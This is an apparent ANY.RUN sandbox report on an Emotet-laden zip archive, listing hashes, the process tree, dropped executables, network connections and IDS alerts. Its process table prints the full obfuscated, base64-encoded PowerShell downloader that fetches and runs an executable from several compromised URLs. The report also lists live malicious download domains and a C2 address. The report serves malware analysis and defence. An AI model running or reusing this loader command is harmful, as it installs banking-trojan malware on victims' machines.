analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Documentation du 22 09.zip

Full analysis: https://app.any.run/tasks/9a5fa97d-3a99-4b40-acee-db7b82ff2b44
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: September 30, 2020, 06:28:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
emotet-doc
emotet
opendir
loader
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract
MD5:

35D9B1E306A5A197EC83A6A32EA6B27E

SHA1:

D3DB32EE53E4436AD4ABFC8C69ED492A062B8CBB

SHA256:

3E150F3EFC4F2678D31FD5A727A8AD6F93D9A829F922404490469A78FD44AC1E

SSDEEP:

1536:ex7pvAWECTfipT9QBeD+zhsq8I1Kitcuy8n3YIuOl/+fayNTKvZsLD:mdvXTqpT9Qk+syKitn3JNl3yNT6ZO

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops known malicious document

      • WinRAR.exe (PID: 764)

    • Application was dropped or rewritten from another process

      • T2oh0m.exe (PID: 3332)
      • fdWCN.exe (PID: 4020)

    • Connects to CnC server

      • fdWCN.exe (PID: 4020)

  • SUSPICIOUS

    • Starts Microsoft Office Application

      • WinRAR.exe (PID: 764)

    • Executed via WMI

      • POWeRsHeLL.exe (PID: 1864)

    • PowerShell script executed

      • POWeRsHeLL.exe (PID: 1864)

    • Creates files in the user directory

      • POWeRsHeLL.exe (PID: 1864)

    • Starts itself from another location

      • T2oh0m.exe (PID: 3332)

    • Executable content was dropped or overwritten

      • T2oh0m.exe (PID: 3332)
      • POWeRsHeLL.exe (PID: 1864)

    • Reads Internet Cache Settings

      • fdWCN.exe (PID: 4020)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3788)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3788)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: Information du 2209.doc
ZipUncompressedSize: 165036
ZipCompressedSize: 78766
ZipCRC: 0x7db14635
ZipModifyDate: 2020:09:22 16:44:00
ZipCompression: Unknown (99)
ZipBitFlag: 0x0003
ZipRequiredVersion: 51
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
5
Malicious processes
1
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start winrar.exe no specs winword.exe no specs powershell.exe t2oh0m.exe fdwcn.exe

Process information

PID
CMD
Path
Indicators
Parent process
764"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Documentation du 22 09.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
3788"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIb764.14102\Information du 2209.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
1864POWeRsHeLL -ENCOD JABYAGwAZgA4ADIAbwAyAD0AKAAoACcARgA2ACcAKwAnADcAOQAnACkAKwAnADgANwAnACsAJwBvACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAGUAUgBwAFIATwBGAEkAbABFAFwAZwBMAGgAMQA0AGkAaQBcAHkAMgBUADMAUgB0AHAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBDAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAdQBSAGkAdAB5AHAAUgBgAE8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxACcAKQArACcAMgAnACsAKAAnACwAIAB0AGwAcwAxACcAKwAnADEAJwApACsAKAAnACwAJwArACcAIAB0AGwAcwAnACkAKQA7ACQAQgBqAHEANAB4ADYAYwAgAD0AIAAoACcAVAAyACcAKwAnAG8AaAAnACsAJwAwAG0AJwApADsAJABNAGYANQByAHoAbAA3AD0AKAAoACcATgA2AHUAJwArACcAOABtACcAKQArACcAegAnACsAJwBnACcAKQA7ACQAUwBuADQAcABxADYAeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBHAGwAJwArACcAaAAxADQAaQBpAHsAJwArACcAMAAnACsAJwB9AFkAMgB0ADMAcgB0AHAAewAwAH0AJwApACAALQBGAFsAYwBIAGEAUgBdADkAMgApACsAJABCAGoAcQA0AHgANgBjACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAVwB2ADMAcwAwAG0AawA9ACgAJwBCAG4AJwArACgAJwBtACcAKwAnAGEAMQAnACkAKwAnAGYAaAAnACkAOwAkAEMAOQAxADcAawB1ADUAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAEkAZQBOAFQAOwAkAEgANgBmADAAaABtAHoAPQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvACcAKwAoACcALwAnACsAJwBwAG8AJwApACsAKAAnAGcAJwArACcAbwB2ACcAKQArACcAbwAnACsAJwByAC4AJwArACgAJwBzAGkALwAnACsAJwB3AHAAJwApACsAKAAnAC0AJwArACcAcwBuAGEAJwArACcAcABzAGgAJwApACsAKAAnAG8AdAAnACsAJwBzACcAKQArACcALwAnACsAJwBiACcAKwAoACcAcgBvACcAKwAnAHcAJwArACcAcwBlAC8AJwApACsAKAAnAHMAcQBjACcAKwAnAHgAeABoAC8AJwApACsAKAAnADIAJwArACcAMgAnACsAJwAzAGoAZwB5ADgAaQAnACkAKwAnAE0AJwArACgAJwAvACcAKwAnACoAaAB0AHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AZQBrACcAKwAnAGkAbgAnACsAJwBlACcAKwAnAHIAagBhAC4AbQBlACcAKQArACgAJwBnACcAKwAnAGEAZAAnACkAKwAoACcAYQB0AGEAJwArACcALgBjACcAKQArACgAJwBvAC8AJwArACcAdwAnACkAKwAnAHAAJwArACcALQAnACsAKAAnAGMAJwArACcAbwBuAHQAZQBuACcAKwAnAHQALwBWAEYAVwAnACsAJwBXACcAKQArACcALwAnACsAKAAnACoAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAZQBsACcAKwAnAG0AcAAnACkAKwAnAGEAJwArACgAJwBqAG8AJwArACcAaABhACcAKQArACgAJwBuAC4AaQAnACsAJwByACcAKwAnAC8AcgBlAHYAJwArACcAZQBzACcAKQArACgAJwByAG0ALwAnACsAJwB3ACcAKQArACgAJwAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8AJwApACsAKAAnAC8AJwArACcAYQByACcAKQArACcAcQB1ACcAKwAnAGkAdgAnACsAJwBvAHAAJwArACgAJwBvAHAAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwArACcALgBiACcAKwAnAHIALwBpAG4AZAAnACkAKwAoACcAZQB4AF8AJwArACcAaAAnACkAKwAoACcAdABtAF8AZgAnACsAJwBpAGwAJwArACcAZQAnACsAJwBzAC8ARwAwAEUAVQAvACoAJwArACcAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHQAJwArACcAZQBjAGgAMwAzACcAKwAnADIALgBzAHkAJwApACsAKAAnAG4AbwAnACsAJwBsAG8AZwAnACkAKwAoACcAeQAuACcAKwAnAG0AZQAvAEAAJwArACcAZQAnACkAKwAoACcAYQAnACsAJwBEAGkAcgAvACcAKQArACcASQAnACsAKAAnAGsANgAyAHgAJwArACcAOQBnACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAJwArACcAcAA6ACcAKQArACcALwAnACsAKAAnAC8AcwBhACcAKwAnAG4AJwArACcAcwBvAHIAZQBzAGMAJwArACcAbwBuAHQAJwArACcAYQBiACcAKQArACgAJwBpAGwAaQAnACsAJwBkACcAKwAnAGEAZABlAC4AJwApACsAKAAnAGMAbwBtACcAKwAnAC4AJwApACsAKAAnAGIAJwArACcAcgAvAHcAcAAtAHMAJwApACsAKAAnAG4AYQAnACsAJwBwAHMAaAAnACkAKwAnAG8AdAAnACsAKAAnAHMALwAnACsAJwBZAGUAeAB3ACcAKwAnAGoAJwApACsAKAAnAGIAdAAnACsAJwA2AHoAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcABzADoAJwArACcALwAvAHcAdwB3ACcAKwAnAC4AJwArACcAeQAnACsAJwBlAHUAbQBvAGkAJwArACcAdAByAHUAbwAnACkAKwAnAG4AJwArACcAZwAuACcAKwAoACcAdgBuAC8AcwByAGMAJwArACcALwAwACcAKwAnADkAagAvACcAKQApAC4AIgBzAHAAYABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE8AegB5ADMAOAA5AGIAPQAoACgAJwBJAGEAJwArACcAbgAnACkAKwAnAGQAJwArACgAJwBuAF8AJwArACcAYgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEANgBnAHkAdABnAGIAIABpAG4AIAAkAEgANgBmADAAaABtAHoAKQB7AHQAcgB5AHsAJABDADkAMQA3AGsAdQA1AC4AIgBEAGAATwBXAG4AYABMAG8AYQBkAEYASQBsAEUAIgAoACQAQQA2AGcAeQB0AGcAYgAsACAAJABTAG4ANABwAHEANgB4ACkAOwAkAFAAYwBzAHgAaAA1AHkAPQAoACcAVwAzACcAKwAoACcAbwAnACsAJwBtAF8ANgBlACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAbgA0AHAAcQA2AHgAKQAuACIAbABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADcAMwAyADcAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwBrAGUAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAoACQAUwBuADQAcABxADYAeAApADsAJABQAG4AeQBiAHAAMwAwAD0AKAAoACcAUQAnACsAJwBnADkAMABnACcAKQArACcAMQBkACcAKQA7AGIAcgBlAGEAawA7ACQAVwBwAHkAeAB2ADIAMQA9ACgAJwBNADgAJwArACgAJwBmAHQAMQAnACsAJwBmACcAKQArACcAcgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAcgAyAHcAbwBxAGcAPQAoACgAJwBPACcAKwAnAGQAdgAnACsAJwB4ADEAZwAnACkAKwAnAHoAJwApAA==C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3332"C:\Users\admin\Glh14ii\Y2t3rtp\T2oh0m.exe" C:\Users\admin\Glh14ii\Y2t3rtp\T2oh0m.exe
POWeRsHeLL.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
4020"C:\Users\admin\AppData\Local\NetProj\fdWCN.exe"C:\Users\admin\AppData\Local\NetProj\fdWCN.exe
T2oh0m.exe
User:
admin
Company:
TODO: <Company name>
Integrity Level:
MEDIUM
Description:
TODO: <File description>
Version:
1.0.0.1
Total events
2 787
Read events
1 959
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
3
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
3788WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRDD80.tmp.cvr —
MD5:—
SHA256:—
1864POWeRsHeLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5C52T7Q1KBTCLRNWDPQL.temp —
MD5:—
SHA256:—
1864POWeRsHeLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:4028388263805ABA00088A0BA4EEA515
SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948
3788WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:0FBBDF43DE12D1505F123977D2724EE2
SHA256:3719C8F9D9ECD84698A810CFCAEF6729F2A182AFC37DE44BD391CC90A96FBB9A
1864POWeRsHeLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3be8bb.TMPbinary
MD5:4028388263805ABA00088A0BA4EEA515
SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948
764WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIb764.14102\Information du 2209.docdocument
MD5:117A110D941BE98B0C800D7ACD0A9472
SHA256:4261E0A59F6233828BBAAE55E703E776ECF7B9E92337D81ACBC98F9389A8C85D
3788WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:70E0716CE8E72D20D94CE983CA6D7734
SHA256:73CA0FBE8F0D64714DE236F00D74F925394A50349A71855889617EC10E60FB17
3788WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Rar$DIb764.14102\~$formation du 2209.docpgc
MD5:684E4C25FA31F3389B7E24CAD69BFE24
SHA256:C2587493B05A98CC29ABC806B81F0E9DAC3B376AF8D9F643CE23E9F6BDBC266E
1864POWeRsHeLL.exeC:\Users\admin\Glh14ii\Y2t3rtp\T2oh0m.exeexecutable
MD5:92B3D8DBE21238B8749D2F698205589C
SHA256:9300FB94F7D35D00DBDFB6884D1F61837BE428C80B52037BAAB002B7ECD1DA2C
3332T2oh0m.exeC:\Users\admin\AppData\Local\NetProj\fdWCN.exeexecutable
MD5:92B3D8DBE21238B8749D2F698205589C
SHA256:9300FB94F7D35D00DBDFB6884D1F61837BE428C80B52037BAAB002B7ECD1DA2C
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
6
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1864
POWeRsHeLL.exe
GET
200
185.2.15.131:80
http://elmpajohan.ir/revesrm/w/
IR
executable
424 Kb
suspicious
1864
POWeRsHeLL.exe
GET
301
165.227.129.57:80
http://pogovor.si/wp-snapshots/browse/sqcxxh/223jgy8iM/
DE
html
162 b
unknown
4020
fdWCN.exe
POST
—
49.243.9.118:80
http://49.243.9.118/nUu5Yr0VEbKuOQC1jl/bMbgrCHW8UWhfU/Lc2tGI94U5/
JP
—
—
malicious
1864
POWeRsHeLL.exe
GET
403
103.229.74.36:80
http://ekinerja.megadata.co/wp-content/VFWW/
ID
html
380 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1864
POWeRsHeLL.exe
165.227.129.57:443
pogovor.si
Digital Ocean, Inc.
DE
unknown
1864
POWeRsHeLL.exe
165.227.129.57:80
pogovor.si
Digital Ocean, Inc.
DE
unknown
1864
POWeRsHeLL.exe
103.229.74.36:80
ekinerja.megadata.co
PT Master Web Network
ID
suspicious
1864
POWeRsHeLL.exe
185.2.15.131:80
elmpajohan.ir
—
IR
suspicious
—
—
49.243.9.118:80
—
FreeBit Co.,Ltd.
JP
malicious

DNS requests

Domain
IP
Reputation
pogovor.si
  • 165.227.129.57
unknown
www.pogovor.si
  • 165.227.129.57
unknown
ekinerja.megadata.co
  • 103.229.74.36
suspicious
elmpajohan.ir
  • 185.2.15.131
suspicious

Threats

PID
Process
Class
Message
1864
POWeRsHeLL.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1864
POWeRsHeLL.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
1864
POWeRsHeLL.exe
Misc activity
ET INFO EXE - Served Attached HTTP
4020
fdWCN.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 18
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Documentation du 22 09.zip